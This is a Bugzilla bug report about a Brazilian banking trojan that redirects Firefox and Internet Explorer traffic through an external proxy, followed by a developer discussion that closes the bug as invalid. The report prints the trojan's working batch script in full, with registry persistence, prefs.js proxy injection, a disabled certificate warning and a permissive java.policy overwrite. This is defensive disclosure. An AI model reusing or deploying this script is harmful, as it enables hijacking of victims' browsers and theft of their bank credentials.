Note: There are a few cases of duplicates in user autocompletion which are being worked on.

Firefox is a virus target




8 years ago
8 years ago


(Reporter: Renato S. Yamane, Unassigned)


3.5 Branch
Windows XP

Firefox Tracking Flags

(Not tracked)



(3 attachments)



8 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)

I have checked that Firefox is a virus target.
The virus change proxy settings to redirect all conections to a external proxy, capturing all banks information:

::@echo off
@break off

if exist %temp%\iecfg.dll goto con
::add to regedit
> %temp%\iecfg.dll echo y
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v JavaPlugin /t REG_SZ /d "%temp%\csrrs.exe" < %temp%\iecfg.dll
start /low /min iexplore.exe ""
goto mapa
::Connection test
set ping=%windir%\system32\ping.exe
%ping% -n 1 -l 1 | find "TTL" > nul
if not errorlevel 1 goto mapa
goto teste
::Get IP
FOR /F "TOKENS=3 delims=: " %%E IN ('%windir%\system32\ping.exe -n 1 -l 1 ^| find.exe "TTL" ') DO SET ip=%%E

FOR /F "TOKENS=*" %%E IN ('dir "%HoMePath%\.." /b /s ^| find "prefs.js"') DO %windir%\system32\attrib.exe -r -a -s -h "%%E" && echo user_pref("network.proxy.autoconfig_url", "http://%ip%/proxy.pac"); >> "%%E"
FOR /F "TOKENS=*" %%E IN ('dir "%HoMePath%\.." /b /s ^| find "prefs.js"') DO %windir%\system32\attrib.exe -r -a -s -h "%%E" && echo user_pref("network.proxy.type", 2); >> "%%E"

type %temp%\~a.tmp | find.exe "Internet Explorer\Main">%temp%\~b.tmp && for /f "tokens=2 delims=\" %%D in ('type %temp%\~b.tmp ^| find.exe "S-1-5-21"') do set CSL=%%D
echo y|%windir%\system32\reg.exe add "HKU\%CSL%\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f

cd %HoMePath%
::Add Proxy to IE*
echo Windows Registry Editor Version 5.00 > iecfg.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings] >> iecfg.reg
echo "AutoConfigURL"="http://%ip%/proxy.pac" >> iecfg.reg
echo "EnableHttp1_1"=dword:00000001 >> iecfg.reg
echo "ProxyEnable"=dword:00000000 >> iecfg.reg
echo "ProxyHttp1.1"=dword:00000000 >> iecfg.reg
regedit /s iecfg.reg
del iecfg.reg

::Allow java applet
cd %windir%
cd ..
FOR /F "TOKENS=*" %%E IN ('dir /b /s ^| find /i "java.policy"') DO echo grant {  permission;}; > "%%E"


Reproducible: Always

Actual Results:  
Prefs.js is very easy to be changed by a external action.

Expected Results:  
When prefs.js is changed, user need be informed when Firefox run.


8 years ago
Component: General → Security
Version: unspecified → 3.5 Branch

Comment 1

8 years ago have this content (I already tell to no-ip block this addrress):

function FindProxyForURL(url, host) {

var n = new Array("","","",


for(var i =0;i<n.length;i++) { if (shExpMatch(host, n[i])) {

return "PROXY"; } }

return "DIRECT"; }

All this sites are Brazilian Banks.

Comment 2

8 years ago
The virus changed...

- From csrrs.exe to iexplorer.exe
- From batch file (.bat) to executable file (.exe).
- And now, proxy is

I will attach the iexplorer.exe, iexplorer.dll and finder.exe

All this files is placed in:
C:\Documents and Settings\USER\Local Settings\Temp

Comment 3

8 years ago
Created attachment 390144 [details]
executable file (Checked in msconfig that it is loaded in all startup)

Comment 4

8 years ago
Created attachment 390145 [details]
I don't know what it do. But it is a piece of this virus

Comment 5

8 years ago
Created attachment 390146 [details]
This file looking for prefs.js to change proxy settings

Comment 6

8 years ago
Can someone confirm this problem?
Is not confortable have all account bank traffic redirect to a external proxy.

Comment 7

8 years ago
Being the target of a virus isn't a security hole. But maybe dveditz can tell you what he knows about this virus.
Group: core-security
Last Resolved: 8 years ago
Resolution: --- → INVALID

Comment 8

8 years ago
Jesse, I agree that "target of a virus isn't a security hole", *but* this kind of worm show to us that is VERY EASY change important parameters on Firefox.

A simple batch file can do:
echo user_pref("network.proxy.autoconfig_url", "proxy.pac"); >> prefs.js

I think that text file (prefs.js) canĀ“t exist to do important things!

Anyone script kiddies can edit this kind of file easily.

Comment 9

8 years ago
Obfuscating configuration files is not a very strong security measure.

Comment 10

8 years ago
But a txt file (as prefs.js) can be edited by any *KID*.
This is trivial!

A lot of others worms will appear using a simple "echo" to edit Firefox config files.

Redirect traffic of financial institutions (as this worm do) is very dangerous to Firefox users.

Comment 11

8 years ago
Getting access to your computer is a much higher bar than editing a text file or a binary blob.

Comment 12

8 years ago
Think with me:

- A user receive a batch file (click here to see Britnay Spears nude)
- This file edit, using "echo", the prefs.js enabling proxy.
- All financial institutions datas will be redirect to a external proxy.
- Cracker will get your account number, credit card information, etc.

This kind of worm (batch file) never will be getted by anti-virus.

I know that the user can't click on anything, but we know that user will do that!

And IMHO Firefox need avoid this kind of situation.
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